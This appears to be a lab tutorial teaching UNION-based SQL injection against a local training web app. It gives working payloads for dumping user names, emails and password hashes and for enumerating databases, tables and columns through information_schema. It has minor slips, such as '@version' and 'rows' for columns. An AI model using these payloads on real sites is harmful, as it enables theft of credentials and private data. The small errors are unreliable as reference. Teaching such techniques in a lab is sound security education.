SQLi Database Enumeration

We can also use SQLi to get information from the database that the developers didn't intend to release. This kind of attack can usually be found on pages where information from a database is displayed (and often filtered).

Consider a page that filters the display of users based on their name". We can guess that the query used to get this data is something along the lines of:

SELECT * FROM user WHERE firstname = <input>;

As we have control over the user input we can start to attempt to inject SQL into the query string. So how do we go about this?

Note

There is a demo of this on the web trainer, feel free to follow along at http://172.18.0.1/sqli_enum.php

Again "Easy Mode" is turned on, so the page will display the query that is being sent to the database.

Enumerating a Known Database

For our first example, we will use SQL injection, to get the website to display data from a manipulated query. We will then move onto seeing how we can use the same approach to leak database, and table structure.

Important

For now, Imagine we also magically know the structure of the database table (more on working this out later) and our "user" table is:

• id (unique id)
• email (string)
• firstname (string)
• lastname (string)
• role (string)
• password (string)

Displaying all rows

We can check if making the query Sam just displays a single row. Our next attempt is to try the 1=1 trick, to see if we can get the database to display all users.

Note

Because 1=1 may be filtered, it can be worthwhile trying other input (such as ORDER BY) to see if the code is injectable or not.

It's also interesting to consider other input fields. If sorting is allowed, we could try to modify the input value for sort order (and gain some idea of the number of columns etc).

So our input becomes Sam' OR 1=1;# Which makes the string SELECT * FROM user WHERE name = 'Sam' OR 1=1;#;

Which makes the output show records for ALL users in the database.

Matching the Data displayed to the query

The SQL query uses the * operator to select ALL of the information from the table. However the data returned by the page is just firstname, lastname, and role elements. The reasons for this are somewhat obvious; the id may be a bit of nonsense displayed in the output, but showing passwords (even if hashed) would be a bad thing.

Note

There are two ways that the data being displayed can be requested: either the developer has decided to request only the columns displayed, or (and this is more likely as developers are lazy) the filtering takes place on the page.

The amount of data that is returned by a query will have an effect on the amount of enumeration we need to do to work out the table structure. We will need to know the number of columns to make the UNION part of the query work.

Getting the number of Columns

We magically know there are 6 columns in the table, but let's make sure of that. For this we can use the ORDER BY syntax, increasing the number of columns until we get an error, or data stops being displayed.

In the case of our enumeration page this falls over at the query foo' OR 1=1 ORDER BY 7;# thus confirming as we only have 6 rows in the table.

Which Columns are displayed

We can now try to get more data displayed. First work out what columns are being shown in the table By using UNION SELECT <Num Rows> Notice I am droppping the 1=1 statement, to stop the database displaying all information, and make the output easier to read.

Note

We could use this to bypass the ORDER BY statements used to work out the number of rows returned, as the database will through an error (The used SELECT statements have a different number of columns) if we do not have the correct number of rows.

However, its not quite so clean to work it out this way, so we should stick with the more intuitive order by method

firstname=Sam' UNION SELECT 1,2,3,4,5,6#

Gives the output

First Name	Last Name	Role
Sam	Vimes	Commander
3	4	5

The Important parts are the 2 and 3 and 5 in the last row. This shows us that the columns displayed are the second and third attributes in the array of data returned by the database.

Let's use a bit of built in MySQL magic to check this is correct.

• user() will display the current database user
• @@version will show the SQL server version

firstname=Sam' UNION SELECT 1,2,user(),@version,5,6;#

Getting the user's passwords

For simplicity we are going to use that magical knowledge of the database layout.

• id (unique id)
• email (string)
• firstname (string)
• lastname (string)
• role (string)
• password (string)

We know that Parts 2 and 3 and 5 of the UNION are being displayed in the table. So replacing those with a query should get us the info we need.

We create a nested query SELECT firstname, lastname, password FROM all user and insert it into the UNION part of our injection:

Sam' UNION ALL SELECT 1,firstname, lastname, 4, password,6 FROM hashuser;#

We can carry on pushing this, by nesting other columns inside the UNION query, For example we can use a combination statements to display all the information in the database.

Sam' UNION ALL SELECT 1,id, CONCAT(firstname, " ", lastname),4,  CONCAT(email, " ",password),6 FROM hashuser;#

Note

As the form is sending data as a GET request, we can also work with the URL to do this, although we do need to think about how the special characters are encoded. For example the following link will also show all information in the DB.

http://172.18.0.1/sqli_enum.php?searchControl=Sam%27+UNION+ALL+SELECT+1%2Cid%2C+CONCAT%28firstname%2C+%22+%22%2C+lastname%29%2C4%2C++CONCAT%28email%2C+%22+%22%2Cpassword%29%2C6+FROM+hashuser%3B%23

Task

Using the web trainer. Work throught the example above to view the database details.

What happens if we don't magically know the table structure?

My SQL keeps details of database and table structure in its own database the information_schema. If we are lucky we should have access to this and can use it to enumerate the database:

https://dev.mysql.com/doc/refman/5.7/en/information-schema.html

Information

From the mySQL page on the information schema:

Each My SQL user has the right to access these tables, but can see only the rows in the tables that correspond to objects for which the user has the proper access privileges. In some cases (for example, the ROUTINE_DEFINITION column in the INFORMATION_SCHEMA. ROUTINES table), users who have insufficient privileges see NULL. These restrictions do not apply for InnoDB tables; you can see them with only the PROCESS privilege (Oracle 2019)

There are a few "standard" places we will want to look:

• informationschema.schemata Details of all "databases" managed by the engine
  • https://dev.mysql.com/doc/refman/5.5/en/schemata-table.html
• informationschema.tables Details of all tables in the database
  • https://dev.mysql.com/doc/refman/5.7/en/tables-table.html
• informationschema.columns Details of all table columns
  • https://dev.mysql.com/doc/refman/5.7/en/columns-table.html

Looking for "Databases"

Let's first try to enumerate all databases. The Schemata table should help us here. We don't have room to display all of the columns (we only have space for 2), but most of the info here is useless anyway.

Let's just focus on the CATALOGUE_NAME and SCHEMA_NAME columns:

Sam' UNION ALL SELECT 1,catalog_name, schema_name, 4, 5,6 FROM information_schema.schemata;#

Gives us:

First Name	Last Name	Role
Sam	Vimes	Commander
information_schema	4	5
maindb	4	5
mysql	4	5
performance_schema	4	5
sys	4	5

What is seriously awesome is that we can also use the database() function to get our current database, which can tell us where we want to look later:

Sam' UNION ALL SELECT 1,catalog_name, schema_name, 4, database(),6 FROM information_schema.schemata;#

Looking at Tables

Now we know the databases available we can get details of tables. Looking though the documents for information~schema~.tables there are a few columns that may be interesting:

• table_schema Which database the table belongs to (maindb)
• table_name Obvious

We modify the request accordingly:

sam' UNION ALL SELECT 1,table_schema,table_name,4,5,6 FROM information_schema.tables WHERE table_schema='maindb';#

Getting Table Details

Finally, we will want to know what columns are in our tables. A look at the docs for the information_schema.columns tabe gives:

• table_schema Database (see above)
• table_name Table Name (see above)
• column_name
• data_type

We modiy our Union Query to get a list of columns in the hashuser table

sam' UNION ALL SELECT 1,table_schema,table_name,4,column_name,6 FROM information_schema.columns WHERE table_name='hashuser';#

Which gives us all the information we magically knew at the start of the exercise

Task

Work through the example above to get the structure of the database and view the data

Task

There is also a second "Flag" table, see if you can work out how to get the flag from that.

Summary

In this article we have looked at using SQL injection to enumerate tables in a remote database. This has allowed us to derive the structre of the DB and then inject queries to give us information such as passwords.